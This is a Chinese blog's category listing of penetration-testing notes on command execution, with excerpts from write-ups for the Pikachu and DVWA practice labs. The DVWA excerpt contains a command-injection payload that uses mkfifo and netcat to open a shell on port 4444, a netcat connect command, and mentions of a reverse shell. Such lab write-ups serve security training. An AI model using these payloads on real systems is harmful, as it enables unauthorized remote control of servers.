随笔分类 -  渗透笔记-命令执行

Pikachu-RCE(远程命令/代码执行漏洞)
摘要：RCE(remote command/code execute)概述 RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。 远程系统命令执行一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的 阅读全文
posted @ 2020-02-23 23:21 joker0xxx3 阅读(916) 评论(0) 推荐(0)
DVWA-命令执行
摘要：开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 192.168.31.100 4444 · 反弹shell 拷贝shell文件 启动kali的apache服 阅读全文
posted @ 2020-02-06 15:41 joker0xxx3 阅读(453) 评论(0) 推荐(0)